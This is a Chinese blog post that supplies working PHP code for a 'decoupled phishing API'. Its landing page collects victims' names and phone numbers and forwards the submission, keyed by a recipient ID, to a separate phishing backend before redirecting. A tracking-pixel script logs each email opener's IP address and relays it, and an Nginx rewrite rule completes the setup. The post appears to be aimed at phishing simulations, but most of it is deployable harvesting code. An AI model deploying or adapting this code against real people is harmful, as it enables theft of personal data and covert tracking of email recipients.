阳子
阳子
发布于 2025-09-02 / 4 阅读
0
0

分离式钓鱼API

通过重新构建请求的接口,使得可在原有页面代码里添加请求构建即可实现钓鱼接口分离部署,并可以对邮件进行监听

1、通过GET请求后端构建,传递用户请求的 RID

2、通过POST请求构建传递用户提交的body

3、构建新的Tracker监听接口,后端构建GET请求传递Tracker的RID

服务部署及配置

将监听页面(landing_pages)通过域名解析到互联网上,并新建一个页面(该页面内容无需编写),通过页面访问状态为404,通过rid 访问调试状态,后台可查看到数据即可。

监听接口:https://api-phish.example.com/

GET/POST请求接口

<?php

// 确保报告所有错误,这对于开发和调试非常重要
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 获取用户请求中的 RID 参数
// 无论请求是GET还是POST,如果URL中包含rid,它都会在$_GET中
$rid = $_GET['rid'] ?? null;

// 检查当前请求的方法
$requestMethod = $_SERVER['REQUEST_METHOD'];

/*
 * === 新增功能1: 无rid时GET请求直接跳转404页面 ===
 * 这个检查必须在任何HTML输出之前执行,因为header()函数需要在响应头阶段发送。
 */
if (!$rid && $requestMethod === 'GET') {
    http_response_code(404); // 通常404页面会伴随404状态码
    header("Location: 404.html"); // 执行重定向到404.html
    exit; // 终止脚本执行,确保浏览器立即跳转
}


// 定义目标服务器的URL
$targetBaseUrl = "https://api-phish.example.com/";

// 构建目标URL,RID参数总是添加到URL中
// 例如:https://api-phish.example.com/?rid=CMLxpkn
$targetUrl = $targetBaseUrl . (isset($rid) ? "?rid=" . urlencode($rid) : "");

// 根据请求方法处理不同的转发逻辑
if ($requestMethod === 'POST') {
    // 获取原始 POST 请求的 Body 内容
    $requestBody = file_get_contents('php://input');

    // 获取原始请求的 Content-Type 头
    $contentType = $_SERVER['CONTENT_TYPE'] ?? 'application/x-www-form-urlencoded';

    // 初始化 cURL 会话
    $ch = curl_init();

    // 设置 cURL 选项
    curl_setopt($ch, CURLOPT_URL, $targetUrl);   // 目标URL,已包含rid
    curl_setopt($ch, CURLOPT_POST, true);        // 设置为 POST 请求
    curl_setopt($ch, CURLOPT_POSTFIELDS, $requestBody); // 设置 POST 请求体

    // 设置请求头,特别是 Content-Type
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: ' . $contentType,
        'Content-Length: ' . strlen($requestBody) // 显式设置Content-Length
    ]);

    // 设置 cURL 返回响应内容作为字符串
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // 执行 cURL 请求
    $response = curl_exec($ch);

    // 检查 cURL 错误
    if (curl_errno($ch)) {
        $error_msg = curl_error($ch);
        error_log("POST request to target server failed for RID: '{$rid}'. Target URL: {$targetUrl}. Error: {$error_msg}");
        // 如果内部服务转发失败,您可以在这里选择是显示错误信息给用户,还是仍然跳转。
        // 根据您的需求,即使转发失败也跳转到emailTips.html
    } else {
        error_log("POST request to target server successful for RID: '{$rid}'. Target URL: {$targetUrl}");
        // 可选:在这里处理响应数据
        // error_log("Response from target server: " . $response);
    }

    // 关闭 cURL 会话
    curl_close($ch);

    /*
     * === 新增功能2: 用户点击提交按钮后(POST请求处理完毕),跳转emailTips.html ===
     * 无论内部转发成功或失败,都在此重定向。
     */
    header("Location: emailTips.html"); // 重定向到emailTips.html
    exit; // 终止脚本执行,确保浏览器立即跳转

} elseif ($requestMethod === 'GET') {
    // 当用户GET请求时,将发送get请求到https://api-phish.sunglowsec.com//?rid=CMLxpkn
    // 注意:如果rid为空,已经在上面被404处理,所以到这里$rid一定不为空
    $response = @file_get_contents($targetUrl); // 使用 @ 抑制可能的警告

    if ($response === false) {
        error_log("GET request to target server failed for RID: '{$rid}'. Target URL: {$targetUrl}");
        // 如果GET请求到目标服务器失败,你可以选择显示一个错误页面或者继续显示当前页面
        // 因为这是一个表单页面,即使后端数据获取失败,前端表单可能仍然需要展示
    } else {
        error_log("GET request to target server successful for RID: '{$rid}'. Target URL: {$targetUrl}");
        // 可选:在这里处理响应数据
        // if (!empty($response)) {
        //     error_log("Response from target GET server: " . $response);
        // }
    }
}
// PHP 服务器端逻辑执行完毕。
// 只有当是带有有效rid的GET请求时,并且没有被重定向,才会继续输出HTML内容给用户浏览器。
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>测试模板</title>
</head>
<body>


<div class="container">
    <div class="dual-column">
        <div class="notice-column">
            <div class="notice-box">
                <h2>显示文本</h2>
   
            </div>
        </div>

        <div class="column-divider">&nbsp;</div>

        <div class="form-column">
            <div class="form-box">
                <h2>提交表单</h2>
                <form action="" id="subsidyForm" method="post">
                    <div class="form-group">
                        <label class="required" for="name">姓名</label>
                        <input id="name" name="name" placeholder="请输入姓名" required="" type="text" />
                    </div>
                    <div class="form-group">
                        <label class="required" for="phone">手机号码</label>
                        <input id="phone" name="phone" pattern="^1[3-9]\d{9}$" placeholder="请输入手机号码" required="" type="tel" />
                    </div>
                    <div class="alert-info">
                        <p><strong>温馨提示:</strong>提示内容</p>
                    </div>
                    <button class="btn-submit" type="submit">提交</button>
                </form>
            </div>
        </div>
    </div>
</div>

<script>
    document.getElementById('subsidyForm').addEventListener('submit', function(e) {
        e.preventDefault();

        const name = document.getElementById('name').value.trim();
        const phone = document.getElementById('phone').value.trim();

        // 客户端验证
        if (!name || !phone) {
            alert('请填写完整信息!');
            return;
        }

        if (!/^1[3-9]\d{9}$/.test(phone)) {
            alert('请输入有效的11位手机号码!');
            return;
        }

        // 如果验证通过,提交表单。
        // 此时表单会 POST 到当前页面,PHP脚本会捕获这个POST请求并进行转发和重定向。
        this.submit();
    });
</script>
</body>
</html>

邮件追踪接口

  • 隐形像素或追踪代码: 邮件追踪通常通过在邮件正文中嵌入一个非常小的、不可见的像素图片(通常是1x1像素的GIF或PNG图片)或一段非常简短的代码来实现。这个像素图片或代码有一个独特的URL,指向发送者服务器上的一个特定资源。

  • 加载触发: 当收件人打开邮件时,邮件客户端会尝试加载邮件中的所有内容,包括这个隐形像素或追踪代码。一旦这个像素被加载,发送者的服务器就会收到一个请求,从而记录下邮件被打开的信息。

  • 记录信息: 通过这个加载请求,发送者可以获得以下信息:

    • 邮件是否被打开: 这是最基本的功能。

    • 打开时间: 邮件被打开的具体时间。

    • IP地址和大致地理位置: 根据IP地址可以推断出收件人打开邮件的地理位置。

    • 使用的设备和邮件客户端: 有些追踪器可以识别收件人使用的设备类型(如手机、电脑)和邮件客户端。

    • 打开次数: 如果收件人多次打开邮件,追踪器可以记录下来。

    • 链接点击: 除了阅读追踪,一些追踪器还可以通过修改邮件中的超链接,来追踪收件人是否点击了邮件中的链接,以及点击了哪些链接。

追踪接口 track.php

<?php
// PHP 代码开始
​
// 1. 配置
$targetApiBaseUrl = 'https://api-phish.example.com/track'; //修改为真是的访问域名
$logFilePath = __DIR__ . '/tracker.log'; // 日志文件路径,与track.php在同一目录下
​
// 2. 准备要转发的参数
// 获取所有GET参数
$queryParams = $_GET;
​
// 将参数构建成查询字符串
$queryString = http_build_query($queryParams);
​
// 构建目标URL
$targetUrl = $targetApiBaseUrl;
if (!empty($queryString)) {
    $targetUrl .= '?' . $queryString;
}
​
// 3. 记录本地日志 (可选但强烈推荐)
function log_message($message, $logFile) {
    file_put_contents($logFile, date('Y-m-d H:i:s') . ' - ' . $message . PHP_EOL, FILE_APPEND);
}
​
log_message("Incoming track request from IP: " . $_SERVER['REMOTE_ADDR'] . " - Query: " . $_SERVER['QUERY_STRING'], $logFilePath);
​
// 4. 使用 cURL 发送 GET 请求到目标 API
$ch = curl_init();
​
curl_setopt($ch, CURLOPT_URL, $targetUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回响应而不是直接输出
curl_setopt($ch, CURLOPT_TIMEOUT, 5);          // 设置超时时间为 5 秒
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
​
// 如果目标API是HTTPS,需要验证SSL证书。在生产环境中,强烈建议保持开启。
// 如果您在开发环境中遇到证书问题,可以暂时设置为 false,但 PRODUCTION 环境下切勿如此。
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
​
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
​
if ($error) {
    log_message("Error forwarding request to " . $targetUrl . ": " . $error, $logFilePath);
} else {
    log_message("Successfully forwarded request to " . $targetUrl . " - HTTP Code: " . $httpCode . " - Response: " . substr($response, 0, 200), $logFilePath); // 记录部分响应内容
}
​
curl_close($ch);
​
// 5. 响应一个 1x1 透明 GIF 图片
// 这是一个 1x1 像素的透明 GIF 图片的二进制数据
$gifData = base64_decode('R0lGODlhAQABAJAAAP8AAAAAACH5BAUQAAAALAAAAAABAAEAAAICBAEAOw==');
​
// 设置正确的 Content-Type 头
header('Content-Type: image/gif');
// 设置 Content-Length 头,告知浏览器图片大小
header('Content-Length: ' . strlen($gifData));
// 设置缓存头,通常对于追踪像素,我们希望它不被缓存,每次都请求
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
​
// 输出 GIF 图片数据
echo $gifData;
​
exit; // 确保不再执行任何其他代码
?>
​

Nginx配置文件(URL 重写

# /www/server/panel/vhost/rewrite/xxx.conf 文件内容
# 将 /track 重写到 /track.php,同时保留查询参数
rewrite ^/track$ /track.php last;



评论